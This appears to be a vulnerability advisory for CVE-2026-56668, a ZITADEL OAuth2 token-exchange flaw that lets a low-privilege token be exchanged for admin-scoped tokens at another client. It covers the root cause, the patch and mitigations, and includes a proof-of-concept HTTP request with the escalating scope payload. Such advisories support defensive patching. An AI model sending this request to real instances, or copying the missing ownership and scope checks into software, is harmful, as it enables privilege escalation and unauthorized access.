CVE-2026-56668: ZITADEL OAuth2 Token Exchange Missing Authorization
A flaw in ZITADEL's token exchange endpoint lets an attacker swap a low-privilege access token for one with elevated permissions at a completely different application, bypassing all role and scope…

The problem
ZITADEL's OAuth2 Token Exchange endpoint (grant type urn:ietf:params:oauth:grant-type:token-exchange) skipped two critical checks before issuing a new token: it did not confirm that the presented subject_token was originally issued to the requesting client, and it did not enforce that requested scopes had to be a subset of the scopes on the incoming token.
Any authenticated user holding a valid low-privilege token could send that token to the exchange endpoint while authenticating as a completely different, higher-privilege application. ZITADEL would issue a new token for that target client with whatever scopes the attacker requested, including admin project roles and sensitive profile claims.
Public clients (no client secret required) make this worse, removing even the authentication barrier.
Proof of concept
A working proof-of-concept for CVE-2026-56668 in github.com/zitadel/zitadel, with the exact payload below.
# Step 1: obtain a low-privilege access token from Client A (low-priv public client)
# CLIENT_A_TOKEN = access token issued to low-priv-client with scope "openid"
# Step 2: send token exchange request authenticated as Client B (high-priv client)
# ZITADEL accepted this before 4.15.3 -- no cross-client or scope-subset check
POST https://<instance>.zitadel.cloud/oauth/v2/token
Content-Type: application/x-www-form-urlencoded
Authorization: Basic <base64(HIGH_PRIV_CLIENT_ID:HIGH_PRIV_CLIENT_SECRET)>
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange
&subject_token=<CLIENT_A_TOKEN>
&subject_token_type=urn%3Aietf%3Aparams%3Aoauth%3Atoken-type%3Aaccess_token
&requested_token_type=urn%3Aietf%3Aparams%3Aoauth%3Atoken-type%3Aaccess_token
&scope=openid+email+profile+urn%3Azitadel%3Aiam%3Aorg%3Aproject%3Aid%3A<PROJ_ID>%3Arn%3Azitadel%3Aiam%3Aorg%3Aproject%3Arole%3A<ADMIN_ROLE>
# Response (pre-patch): 200 OK with a new access_token carrying the escalated scopes
# Response (post-patch): 400 {"error":"invalid_scope"}The root cause is CWE-862 (Missing Authorization). Before the patch, the token exchange handler in internal/api/oidc/ called out to create a new token without first checking that the subject_token's client_id matched the authenticating client, and without intersecting the requested scopes against the subject token's scopes.
The patch (commit e2886a6) added a cross-client ownership check and a new validateTokenExchangeScopes function. That function now iterates the requested scopes and rejects any scope not already present in the subject or actor token, returning invalid_scope. Together these two guards eliminate both the audience-hopping and scope-inflation vectors.
For public clients (no secret), the attack needed no credential at all beyond the low-privilege token, making exploitation particularly accessible.
The fix
Upgrade to ZITADEL 4.15.3 (4.x branch) or 3.4.13+ (3.x branch). If an immediate upgrade is blocked, set the environment variable ZITADEL_DEFAULTINSTANCE_FEATURES_TOKENEXCHANGE=false to disable the endpoint entirely (only effective before v4.11.0 where Token Exchange was not yet GA).
Alternatively, remove the Token Exchange grant type from all configured applications, especially public or high-privilege clients.
Reported by thesecguy45 and Shubham Raj / Causal Security (cipher-creator).
Related research
- high · 8.5CVE-2026-59185CVE-2026-59185: Identrail Cross-Tenant IDOR via Unverified GitHub App installation_id
- high · 8.6CVE-2026-72789CVE-2026-72789: SiYuan Encrypted Notebook Publish Access Bypass
- critical · 9CVE-2026-73842CVE-2026-73842: OpenChoreo cluster-gateway Missing Authentication on Internal Proxy
- high · 8.6CVE-2026-72798CVE-2026-72798: SiYuan renderAttributeView Publish-Access Filter Bypass